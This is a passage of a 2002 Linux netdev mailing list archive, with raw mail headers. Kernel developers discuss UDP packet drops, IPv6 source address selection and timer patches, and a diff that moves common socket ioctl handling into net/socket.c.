for ; Fri, 27 Sep 2002 08:56:39 -0700 Received: from [140.77.13.2] (helo=[140.77.13.2]) by mailhost.ens-lyon.fr with esmtp (Exim 3.35 #1 (Debian)) id 17uxTf-0007nT-00; Fri, 27 Sep 2002 17:56:27 +0200 Received: from eric by (null) with local (MasqMail 0.1.16) id 17uxUM-0NO-00; Fri, 27 Sep 2002 17:57:10 +0200 Date: Fri, 27 Sep 2002 17:57:10 +0200 From: Eric Lemoine To: jamal Cc: Eric Lemoine , netdev@oss.sgi.com Subject: Re: udp weirdness Message-ID: <20020927155710.GM343@hookipa> References: <20020927120223.GH343@hookipa> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 360 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@ens-lyon.fr Precedence: bulk X-list: netdev > > I figured out that packets can be dropped in pfifo_fast_enqueue() > > [the default qdisc's enqueue func], even though the driver/kernel > > flow control has triggered. > > > > And sendto does not notify the user when packet gets dropped because > > the output queue overflows (as indicated in sendto manpage). > > > > Why doesn't the kernel just put the process into sleep instead of > > dropping packets? > > > > What trigger do you suggest to wake up the process again? I was thinking of putting processes into sleep on per-device lists. Once the net driver sees the NIC is ready to send again it wakes up all processes sleeping on its list. [If the socket from which the packet comes from is marked non-blocking the process is not put into sleep (obviously) and EAGAIN is returned.] Throwing away packets when not absolutely necessary does not make sense to me. Please correct me if i'm wrong. > A better idea maybe to return something to the socket so it can > manage things instead -- not sure what to return though that wouldnt > break some standard; > > cheers, > jamal -- Eric From kuznet@ms2.inr.ac.ru Fri Sep 27 09:03:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:03:15 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RG3CtG010378 for ; Fri, 27 Sep 2002 09:03:13 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id UAA21381; Fri, 27 Sep 2002 20:02:51 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271602.UAA21381@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: yoshfuji@linux-ipv6.ORG (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Fri, 27 Sep 2002 20:02:51 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <20020928.001742.125874265.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 27, 2 07:45:03 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 361 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > This patch supports standard default source address selection > algorithm. To all that I remember we had long discussion about this ages ago. I said I hate this. Such complicated selection without caching is _bug_. I see nothing improved since that time, except for the function became even more hairy. :-) Alexey From yoshfuji@linux-ipv6.org Fri Sep 27 09:14:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:14:43 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RGEftG010854 for ; Fri, 27 Sep 2002 09:14:41 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8RGEd1o018614; Sat, 28 Sep 2002 01:14:39 +0900 Date: Sat, 28 Sep 2002 01:14:39 +0900 (JST) Message-Id: <20020928.011439.108856769.yoshfuji@linux-ipv6.org> To: kuznet@ms2.inr.ac.ru Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200209271530.TAA21206@sex.inr.ac.ru> References: <20020928.001617.91124319.yoshfuji@linux-ipv6.org> <200209271530.TAA21206@sex.inr.ac.ru> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 362 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <200209271530.TAA21206@sex.inr.ac.ru> (at Fri, 27 Sep 2002 19:30:14 +0400 (MSD)), kuznet@ms2.inr.ac.ru says: > Let's only delete this: > > > + if (time_before(now + HZ/2, jiffies)) { > > + ADBG((KERN_WARNING > > + "addrconf_verify(): too slow; jiffies - now = %ld\n", > > + (long)jiffies - (long)now)); > > + } > > I do not understand how this survived. If you worry about infinite > spinning in loop you could make this check real, f.e. breaking loop > when jiffies >= now+2. In this form it is just mud. hmm, I supposed it finally exited the loop (and then we got above warn). Code around end of patch (*) prevent continuous run of this function. If it is (almost) meaningless, just delete it. (*) Oops, I slipped at (almost) end of the patch when making patch... sorry; I inteded to refine timing into ~0.5 sec at worst; so, please change addr_chk_timer.expires = time_before(next, jiffies + HZ) ? jiffies + HZ : next; to addr_chk_timer.expires = time_before(next, jiffies + HZ/2) ? jiffies + HZ/2 : next; . Thanks. (do I need to resend complete patch?) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From mcr@sandelman.ottawa.on.ca Fri Sep 27 09:25:59 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:26:03 -0700 (PDT) Received: from noxmail.sandelman.ottawa.on.ca (cyphermail.sandelman.ottawa.on.ca [192.139.46.78]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RGPwtG011309 for ; Fri, 27 Sep 2002 09:25:59 -0700 Received: from sandelman.ottawa.on.ca (marajade.sandelman.ottawa.on.ca [192.139.46.20]) by noxmail.sandelman.ottawa.on.ca (8.11.6/8.11.6) with ESMTP id g8RGOYG16778 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Fri, 27 Sep 2002 12:24:40 -0400 (EDT) Received: from marajade.sandelman.ottawa.on.ca (marajade [127.0.0.1]) by sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian -4) with ESMTP id g8RGOV87000523 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Fri, 27 Sep 2002 12:24:33 -0400 Received: from marajade.sandelman.ottawa.on.ca (mcr@localhost) by marajade.sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian -4) with ESMTP id g8RGOUTG000517; Fri, 27 Sep 2002 12:24:31 -0400 Message-Id: <200209271624.g8RGOUTG000517@marajade.sandelman.ottawa.on.ca> To: Pekka Savola cc: netdev@oss.sgi.com Subject: Re: Any effort to try to make IPv6 API more uniform? In-reply-to: Your message of "Fri, 27 Sep 2002 08:59:49 +0300." Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Fri, 27 Sep 2002 12:24:29 -0400 From: Michael Richardson X-archive-position: 363 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcr@sandelman.ottawa.on.ca Precedence: bulk X-list: netdev -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Pekka" == Pekka Savola writes: Pekka> In addition to IPv6 Basic & Advanced Sockets API document, I had a worry Pekka> whether there would be any use trying to make some other API's more Pekka> useful. Pekka> For example, currently there is no standard (or even "semi-standard") way Pekka> of getting IPv6 address(es) of a node. With IPv4 you can get this via Pekka> ioctls or e.g. netlink. Netlink is notably a Linux-only thing. It would be nice to have a "standard" iterator function for this. It would also be nice to be able to give it a hint, like: "if I were to connect to host X, proto Y, port Z, what would my IP{v4,v6} be?" This might even have to take a trip into the kernel to evaluate advanced routing rules, etc. but would certainly simply things. It would also be nice if the interface to get the destination IP/port on a UDP packet (gotten with IP_PKTINFO) was simpler. My ideal is that if you provide recvfrom() a double sized sockaddr, that you'd get both src and dst. ] ON HUMILITY: to err is human. To moo, bovine. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Finger me for keys iQCVAwUBPZSGOoqHRg3pndX9AQFoYgP+IdAMviCVuCFoujLPbtrgX3pLE01O2v1T kb0qgkleiYC5xDi3r6NCoqVAN6bGvwr3rZFFmhtUamoM6+Me/70a4Mi531jzBtTY ewcxLXoc7KqplC4RKFpF9uAsy3kDGNiU6rJ8ROdFYfJwDs+Odl3dpOzeSpWXTBFZ eTImxjz3GqE= =OlKS -----END PGP SIGNATURE----- From pekkas@netcore.fi Fri Sep 27 09:28:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:28:57 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RGSstG011685 for ; Fri, 27 Sep 2002 09:28:54 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g8RGShO02992; Fri, 27 Sep 2002 19:28:43 +0300 Date: Fri, 27 Sep 2002 19:28:43 +0300 (EEST) From: Pekka Savola To: kuznet@ms2.inr.ac.ru cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection In-Reply-To: <200209271602.UAA21381@sex.inr.ac.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Fri, 27 Sep 2002 kuznet@ms2.inr.ac.ru wrote: > > This patch supports standard default source address selection > > algorithm. > > To all that I remember we had long discussion about this ages ago. > I said I hate this. Such complicated selection without caching is _bug_. > I see nothing improved since that time, except for the function became > even more hairy. :-) But you agree that a new selection is important, I think? I agree that the spec as written (like, each address against every other, iterate N times etc.) seems to be like total crap.. but at least the intent seems to be clear-ish. If caching was implemented I guess it would be triggered by: - address changes - route changes - a maximum lifetime of xx seconds? Caching, if it can be done simply and reasonably seems like a very good idea to me. Btw I think labels are quite an important component of selection rules, as it (similar to longest matching prefix) keeps certain classes of addresses (e.g. 6to4, mapped addresses, compatible etc.) within the label. That's important. User-manageable policy table is of less importance I think. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From kuznet@ms2.inr.ac.ru Fri Sep 27 09:40:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:40:19 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RGeDtG013294 for ; Fri, 27 Sep 2002 09:40:13 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id UAA21514; Fri, 27 Sep 2002 20:39:45 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271639.UAA21514@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer To: yoshfuji@linux-ipv6.org (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Fri, 27 Sep 2002 20:39:45 +0400 (MSD) Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020928.011439.108856769.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 28, 2 01:14:39 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > (*) Oops, I slipped at (almost) end of the patch when making patch... sorry; > I inteded to refine timing into ~0.5 sec at worst; Does this matter? What is special about 0.5sec comparing to 1? > (do I need to resend complete patch?) No, I think. Deletion of bad debugging is easier to make after patching. Alexey From kuznet@ms2.inr.ac.ru Fri Sep 27 09:55:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 09:55:46 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RGtgtG013742 for ; Fri, 27 Sep 2002 09:55:43 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id UAA21558; Fri, 27 Sep 2002 20:55:20 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271655.UAA21558@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection To: pekkas@netcore.fi (Pekka Savola) Date: Fri, 27 Sep 2002 20:55:20 +0400 (MSD) Cc: yoshfuji@linux-ipv6.ORG, netdev@oss.sgi.com In-Reply-To: from "Pekka Savola" at Sep 27, 2 07:28:43 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > But you agree that a new selection is important, I think? It is the thing which would be silly to disagree, people want this. :-) I do not want bogus implementation blocking attempts to select address for O(1) time. > If caching was implemented I guess it would be triggered by: It is just cached in routes like IP makes this. There is nothing sophisticated there, the logic is aligned to logic of routing cache. Alexey From willy@www.linux.org.uk Fri Sep 27 14:10:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 14:10:41 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RLAbtG020046 for ; Fri, 27 Sep 2002 14:10:38 -0700 Received: from willy by www.linux.org.uk with local (Exim 3.33 #5) id 17v12K-00056x-00 for netdev@oss.sgi.com; Fri, 27 Sep 2002 20:44:28 +0100 Date: Fri, 27 Sep 2002 20:44:28 +0100 From: Matthew Wilcox To: netdev@oss.sgi.com Subject: [PATCH] migrate ioctls upwards Message-ID: <20020927204428.B18377@parcelfarce.linux.theplanet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@debian.org Precedence: bulk X-list: netdev Move some of the common ioctls into net/socket.c from the various protocol families. Many more can be raised; this is just testing the waters. diff -urpNX dontdiff linux-2.5.38/net/econet/af_econet.c linux-2.5.38-willy/net/econet/af_econet.c --- linux-2.5.38/net/econet/af_econet.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/econet/af_econet.c 2002-09-27 13:42:46.000000000 -0400 @@ -643,51 +643,19 @@ static int ec_dev_ioctl(struct socket *s static int econet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { struct sock *sk = sock->sk; - int pid; - switch(cmd) - { - case FIOSETOWN: - case SIOCSPGRP: - if (get_user(pid, (int *) arg)) - return -EFAULT; - return f_setown(sock->file, pid, 1); - case FIOGETOWN: - case SIOCGPGRP: - return put_user(sock->file->f_owner.pid, (int *)arg); + switch(cmd) { case SIOCGSTAMP: if(sk->stamp.tv_sec==0) return -ENOENT; return copy_to_user((void *)arg, &sk->stamp, sizeof(struct timeval)) ? -EFAULT : 0; - case SIOCGIFFLAGS: - case SIOCSIFFLAGS: - case SIOCGIFCONF: - case SIOCGIFMETRIC: - case SIOCSIFMETRIC: - case SIOCGIFMEM: - case SIOCSIFMEM: - case SIOCGIFMTU: - case SIOCSIFMTU: - case SIOCSIFLINK: - case SIOCGIFHWADDR: - case SIOCSIFHWADDR: - case SIOCSIFMAP: - case SIOCGIFMAP: - case SIOCSIFSLAVE: - case SIOCGIFSLAVE: - case SIOCGIFINDEX: - case SIOCGIFNAME: - case SIOCGIFCOUNT: - case SIOCSIFHWBROADCAST: - return(dev_ioctl(cmd,(void *) arg)); - case SIOCSIFADDR: case SIOCGIFADDR: return ec_dev_ioctl(sock, cmd, (void *)arg); break; default: - return(dev_ioctl(cmd,(void *) arg)); + return dev_ioctl(cmd,(void *) arg); } /*NOTREACHED*/ return 0; diff -urpNX dontdiff linux-2.5.38/net/ipv4/af_inet.c linux-2.5.38-willy/net/ipv4/af_inet.c --- linux-2.5.38/net/ipv4/af_inet.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/ipv4/af_inet.c 2002-09-27 14:25:25.000000000 -0400 @@ -117,9 +117,6 @@ #ifdef CONFIG_NET_DIVERT #include #endif /* CONFIG_NET_DIVERT */ -#if defined(CONFIG_NET_RADIO) || defined(CONFIG_NET_PCMCIA_RADIO) -#include /* Note : will define WIRELESS_EXT */ -#endif /* CONFIG_NET_RADIO || CONFIG_NET_PCMCIA_RADIO */ struct linux_mib net_statistics[NR_CPUS * 2]; @@ -850,20 +847,8 @@ int inet_ioctl(struct socket *sock, unsi { struct sock *sk = sock->sk; int err = 0; - int pid; switch (cmd) { - case FIOSETOWN: - case SIOCSPGRP: - if (get_user(pid, (int *)arg)) - err = -EFAULT; - else - err = f_setown(sock->file, pid, 1); - break; - case FIOGETOWN: - case SIOCGPGRP: - err = put_user(sock->file->f_owner.pid, (int *)arg); - break; case SIOCGSTAMP: if (!sk->stamp.tv_sec) err = -ENOENT; @@ -949,15 +934,6 @@ int inet_ioctl(struct socket *sock, unsi err = -ENOPKG; break; default: - if (cmd >= SIOCDEVPRIVATE && - cmd <= (SIOCDEVPRIVATE + 15)) - err = dev_ioctl(cmd, (void *)arg); - else -#ifdef WIRELESS_EXT - if (cmd >= SIOCIWFIRST && cmd <= SIOCIWLAST) - err = dev_ioctl(cmd, (void *)arg); - else -#endif /* WIRELESS_EXT */ if (!sk->prot->ioctl || (err = sk->prot->ioctl(sk, cmd, arg)) == -ENOIOCTLCMD) diff -urpNX dontdiff linux-2.5.38/net/ipv6/af_inet6.c linux-2.5.38-willy/net/ipv6/af_inet6.c --- linux-2.5.38/net/ipv6/af_inet6.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/ipv6/af_inet6.c 2002-09-27 10:51:35.000000000 -0400 @@ -455,18 +455,9 @@ int inet6_ioctl(struct socket *sock, uns { struct sock *sk = sock->sk; int err = -EINVAL; - int pid; switch(cmd) { - case FIOSETOWN: - case SIOCSPGRP: - if (get_user(pid, (int *) arg)) - return -EFAULT; - return f_setown(sock->file, pid, 1); - case FIOGETOWN: - case SIOCGPGRP: - return put_user(sock->file->f_owner.pid, (int *)arg); case SIOCGSTAMP: if(sk->stamp.tv_sec==0) return -ENOENT; @@ -488,10 +479,6 @@ int inet6_ioctl(struct socket *sock, uns case SIOCSIFDSTADDR: return addrconf_set_dstaddr((void *) arg); default: - if ((cmd >= SIOCDEVPRIVATE) && - (cmd <= (SIOCDEVPRIVATE + 15))) - return(dev_ioctl(cmd,(void *) arg)); - if(sk->prot->ioctl==0 || (err=sk->prot->ioctl(sk, cmd, arg))==-ENOIOCTLCMD) return(dev_ioctl(cmd,(void *) arg)); return err; diff -urpNX dontdiff linux-2.5.38/net/packet/af_packet.c linux-2.5.38-willy/net/packet/af_packet.c --- linux-2.5.38/net/packet/af_packet.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/packet/af_packet.c 2002-09-27 14:24:19.000000000 -0400 @@ -1458,16 +1458,6 @@ static int packet_ioctl(struct socket *s spin_unlock_bh(&sk->receive_queue.lock); return put_user(amount, (int *)arg); } - case FIOSETOWN: - case SIOCSPGRP: { - int pid; - if (get_user(pid, (int *) arg)) - return -EFAULT; - return f_setown(sock->file, pid, 1); - } - case FIOGETOWN: - case SIOCGPGRP: - return put_user(sock->file->f_owner.pid, (int *)arg); case SIOCGSTAMP: if(sk->stamp.tv_sec==0) return -ENOENT; @@ -1542,14 +1532,6 @@ static int packet_ioctl(struct socket *s #endif default: - if ((cmd >= SIOCDEVPRIVATE) && - (cmd <= (SIOCDEVPRIVATE + 15))) - return(dev_ioctl(cmd,(void *) arg)); - -#ifdef CONFIG_NET_RADIO - if((cmd >= SIOCIWFIRST) && (cmd <= SIOCIWLAST)) - return(dev_ioctl(cmd,(void *) arg)); -#endif return -EOPNOTSUPP; } return 0; diff -urpNX dontdiff linux-2.5.38/net/socket.c linux-2.5.38-willy/net/socket.c --- linux-2.5.38/net/socket.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/socket.c 2002-09-27 14:26:06.000000000 -0400 @@ -79,6 +79,10 @@ #include #endif +#if defined(CONFIG_NET_RADIO) || defined(CONFIG_NET_PCMCIA_RADIO) +#include /* Note : will define WIRELESS_EXT */ +#endif /* CONFIG_NET_RADIO || CONFIG_NET_PCMCIA_RADIO */ + #include #include @@ -675,19 +679,42 @@ static ssize_t sock_writev(struct file * } /* - * With an ioctl arg may well be a user mode pointer, but we don't know what to do - * with it - that's up to the protocol still. + * With an ioctl, arg may well be a user mode pointer, but we don't know + * what to do with it - that's up to the protocol still. */ int sock_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) { struct socket *sock; - int err; + int pid, err; unlock_kernel(); sock = SOCKET_I(inode); - err = sock->ops->ioctl(sock, cmd, arg); + if (cmd >= SIOCDEVPRIVATE && cmd <= (SIOCDEVPRIVATE + 15)) { + err = dev_ioctl(cmd, (void *)arg); + } else +#ifdef WIRELESS_EXT + if (cmd >= SIOCIWFIRST && cmd <= SIOCIWLAST) { + err = dev_ioctl(cmd, (void *)arg); + } else +#endif /* WIRELESS_EXT */ + switch (cmd) { + case FIOSETOWN: + case SIOCSPGRP: + err = -EFAULT; + if (get_user(pid, (int *)arg)) + break; + err = f_setown(sock->file, pid, 1); + break; + case FIOGETOWN: + case SIOCGPGRP: + err = put_user(sock->file->f_owner.pid, (int *)arg); + break; + default: + err = sock->ops->ioctl(sock, cmd, arg); + break; + } lock_kernel(); return err; diff -urpNX dontdiff linux-2.5.38/net/wanrouter/af_wanpipe.c linux-2.5.38-willy/net/wanrouter/af_wanpipe.c --- linux-2.5.38/net/wanrouter/af_wanpipe.c 2002-09-09 14:27:27.000000000 -0400 +++ linux-2.5.38-willy/net/wanrouter/af_wanpipe.c 2002-09-27 14:24:28.000000000 -0400 @@ -1867,19 +1867,9 @@ static int wanpipe_ioctl(struct socket * { struct sock *sk = sock->sk; int err; - int pid; switch(cmd) { - case FIOSETOWN: - case SIOCSPGRP: - err = get_user(pid, (int *) arg); - if (err) - return err; - return f_setown(sock->file, pid, 1); - case FIOGETOWN: - case SIOCGPGRP: - return put_user(sock->file->f_owner.pid, (int *)arg); case SIOCGSTAMP: if(sk->stamp.tv_sec==0) return -ENOENT; @@ -1979,14 +1969,6 @@ static int wanpipe_ioctl(struct socket * #endif default: - if ((cmd >= SIOCDEVPRIVATE) && - (cmd <= (SIOCDEVPRIVATE + 15))) - return(dev_ioctl(cmd,(void *) arg)); - -#ifdef CONFIG_NET_RADIO - if((cmd >= SIOCIWFIRST) && (cmd <= SIOCIWLAST)) - return(dev_ioctl(cmd,(void *) arg)); -#endif return -EOPNOTSUPP; } /*NOTREACHED*/ -- Revolutions do not require corporate support. From davem@redhat.com Fri Sep 27 18:27:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 18:27:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S1R8tG027262 for ; Fri, 27 Sep 2002 18:27:08 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA18271; Fri, 27 Sep 2002 18:20:01 -0700 Date: Fri, 27 Sep 2002 18:20:01 -0700 (PDT) Message-Id: <20020927.182001.122314480.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: yoshfuji@linux-ipv6.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer From: "David S. Miller" In-Reply-To: <200209271639.UAA21514@sex.inr.ac.ru> References: <20020928.011439.108856769.yoshfuji@linux-ipv6.org> <200209271639.UAA21514@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Fri, 27 Sep 2002 20:39:45 +0400 (MSD) > (do I need to resend complete patch?) No, I think. Deletion of bad debugging is easier to make after patching. I've applied the patch with the time_after() debugging check removed to both 2.4.x and 2.5.x If, after discussion, the "HZ --> HZ/2" change needs to be made, just send another patch on top of previous one, thanks. From davem@redhat.com Fri Sep 27 18:35:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 18:35:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S1Z2tG027671 for ; Fri, 27 Sep 2002 18:35:02 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA18313; Fri, 27 Sep 2002 18:28:34 -0700 Date: Fri, 27 Sep 2002 18:28:33 -0700 (PDT) Message-Id: <20020927.182833.66704359.davem@redhat.com> To: yoshfuji@linux-ipv6.org Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH] IPv6: Improvement of Source Address Selection From: "David S. Miller" In-Reply-To: <20020928.001742.125874265.yoshfuji@linux-ipv6.org> References: <20020928.001742.125874265.yoshfuji@linux-ipv6.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: YOSHIFUJI Hideaki / $B5HF#1QL@(B Date: Sat, 28 Sep 2002 00:17:42 +0900 (JST) Please redesign this structure. +struct addrselect_attrs { + struct inet6_ifaddr *ifp; + int match; + int deprecated; + int home; + int temporary; + int device; + int scope; + int label; + int matchlen; +}; This is much larger than it needs to be. Please replace these "int" binary states with single "u32 flags;" and appropriate bit definitions. This structure sits on the stack, so it is important to be as small as we can easily make it. Otherwise I have no problems with the patch, Alexey? From davem@redhat.com Fri Sep 27 18:37:30 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 18:37:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8S1bUtG028043 for ; Fri, 27 Sep 2002 18:37:30 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA18333; Fri, 27 Sep 2002 18:30:47 -0700 Date: Fri, 27 Sep 2002 18:30:47 -0700 (PDT) Message-Id: <20020927.183047.124008170.davem@redhat.com> To: hadi@cyberus.ca Cc: jmorris@intercode.com.au, rusty@rustcorp.com.au, nf@hipac.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter From: "David S. Miller" In-Reply-To: References: <20020926.135259.62665945.davem@redhat.com> X-FalunGong: Information control. X-Mailer: Mew version 